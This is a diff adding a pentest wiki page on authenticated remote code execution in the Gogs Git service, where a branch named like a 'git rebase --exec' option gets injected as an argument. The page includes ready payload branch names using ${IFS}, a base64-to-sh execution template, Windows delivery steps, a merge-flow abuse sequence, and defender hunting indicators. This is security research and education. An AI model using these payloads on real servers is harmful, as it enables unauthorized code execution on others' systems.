|
| 1 | +# Gogs Security |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## What is Gogs |
| 6 | + |
| 7 | +**Gogs** is a **self-hosted lightweight Git service** written in Go. From an attacker point of view, treat it as a **multi-tenant Git hosting platform** where a low-privileged user may still control branch names, pull requests, webhooks, tokens, and repository settings. |
| 8 | + |
| 9 | +## Git option injection through refs / branch names |
| 10 | + |
| 11 | +If an application passes an attacker-controlled **ref name** directly to a Git command **without `--` or `--end-of-options`**, a branch beginning with `--` can be parsed as a **Git option** instead of as data. |
| 12 | + |
| 13 | +Typical dangerous pattern: |
| 14 | + |
| 15 | +```bash |
| 16 | +git <subcommand> <user-controlled-ref> |
| 17 | +``` |
| 18 | + |
| 19 | +Safer pattern expected in defensive code: |
| 20 | + |
| 21 | +```bash |
| 22 | +git <subcommand> -- <user-controlled-ref> |
| 23 | +# or |
| 24 | +git <subcommand> --end-of-options <user-controlled-ref> |
| 25 | +``` |
| 26 | + |
| 27 | +A common false assumption is that validating the ref with `git rev-parse --verify <ref>` is enough. It is **not**: |
| 28 | + |
| 29 | +- the attacker can first **create a real branch** whose name starts with `--` |
| 30 | +- `rev-parse --verify` only checks that the ref resolves to an object |
| 31 | +- a later unsafe Git invocation may still parse the same value as an **option** |
| 32 | + |
| 33 | +This turns any Git-hosting feature that reuses stored branch names into a potential RCE primitive. |
| 34 | + |
| 35 | +## Abusing `git rebase --exec` for RCE |
| 36 | + |
| 37 | +`git rebase` supports `--exec=<cmd>`, which runs the command through `sh -c` after replaying commits. Therefore, if the base branch of a pull request reaches a call similar to: |
| 38 | + |
| 39 | +```bash |
| 40 | +git rebase --quiet <baseBranch> <headBranch> |
| 41 | +``` |
| 42 | + |
| 43 | +and `<baseBranch>` is attacker-controlled, a branch such as: |
| 44 | + |
| 45 | +```bash |
| 46 | +--exec=touch${IFS}/tmp/rce_proof |
| 47 | +``` |
| 48 | + |
| 49 | +can be interpreted as a **Git flag** instead of a branch name. |
| 50 | + |
| 51 | +### Why `${IFS}` matters |
| 52 | + |
| 53 | +Git refs cannot contain literal spaces, but shell expansion still happens when Git executes `--exec` via `sh -c`. `${IFS}` expands to whitespace at runtime, allowing payloads such as: |
| 54 | + |
| 55 | +```bash |
| 56 | +--exec=touch${IFS}/tmp/rce_proof |
| 57 | +--exec=id${IFS}>/tmp/out |
| 58 | +``` |
| 59 | + |
| 60 | +For payloads requiring Git-forbidden characters (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`), encode the real command and decode it at execution time: |
| 61 | + |
| 62 | +```bash |
| 63 | +--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh |
| 64 | +``` |
| 65 | + |
| 66 | +## Windows-specific payload delivery |
| 67 | + |
| 68 | +On Windows, inline payloads are more constrained because Git stores branch refs as files and NTFS forbids characters such as `|` in filenames. A practical alternative is: |
| 69 | + |
| 70 | +1. Commit a payload script into the repository (for example `.abcdef`) |
| 71 | +2. Create a branch like: |
| 72 | + |
| 73 | +```bash |
| 74 | +--exec=sh${IFS}.abcdef |
| 75 | +``` |
| 76 | + |
| 77 | +If Git for Windows launches the payload through **MSYS2 `sh`**, PowerShell metacharacters may be mangled. A practical workaround is to let the committed script call: |
| 78 | + |
| 79 | +```bash |
| 80 | +cmd.exe //c .abcdef.bat |
| 81 | +``` |
| 82 | + |
| 83 | +where `//c` is the MSYS2-safe form of Windows `/c`. |
| 84 | + |
| 85 | +## Merge / PR state-machine abuse |
| 86 | + |
| 87 | +When testing Git-hosting platforms, do not only review the final dangerous command. Also review **earlier validation paths** and **background rechecks**. |
| 88 | + |
| 89 | +A useful exploitation pattern is: |
| 90 | + |
| 91 | +1. Initial validation path uses a **safe** clone/fetch flow with `--end-of-options`, so the malicious branch is accepted as data |
| 92 | +2. The pull request becomes **mergeable** |
| 93 | +3. A later merge or checkout path reuses the stored branch name in an **unsafe** Git call |
| 94 | +4. Code execution happens even if a later step fails and the UI returns **HTTP 500** |
| 95 | + |
| 96 | +This means a feature can be exploitable even when the final merge ends in an error, and the target repository may be left in a **corrupted partial rebase state** after the payload already ran. |
| 97 | + |
| 98 | +## Practical hunting ideas |
| 99 | + |
| 100 | +When reviewing a Gogs instance or similar Git service, check for: |
| 101 | + |
| 102 | +- Branch names beginning with `--` |
| 103 | +- Merge failures involving `git checkout '--exec=...'` |
| 104 | +- Pull requests stuck as mergeable even though later branch validation fails |
| 105 | +- Repositories left in partial rebase / broken Git state after failed merges |
| 106 | +- Unexpected committed helper files on Windows payload paths (for example dotfiles plus `.bat` launchers) |
| 107 | +- Suspicious API tokens created shortly before failed PR merges |
| 108 | + |
| 109 | +Example log artifact: |
| 110 | + |
| 111 | +```text |
| 112 | +merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' |
| 113 | +``` |
| 114 | + |
| 115 | +## References |
| 116 | + |
| 117 | +- [Rapid7 - Authenticated RCE via Argument Injection in Gogs (NOT FIXED)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed) |
| 118 | +- [Metasploit module PR for Gogs rebase argument injection](https://github.com/rapid7/metasploit-framework/pull/21515) |
| 119 | +- [Git rebase documentation (`--exec`)](https://git-scm.com/docs/git-rebase) |
| 120 | + |
| 121 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments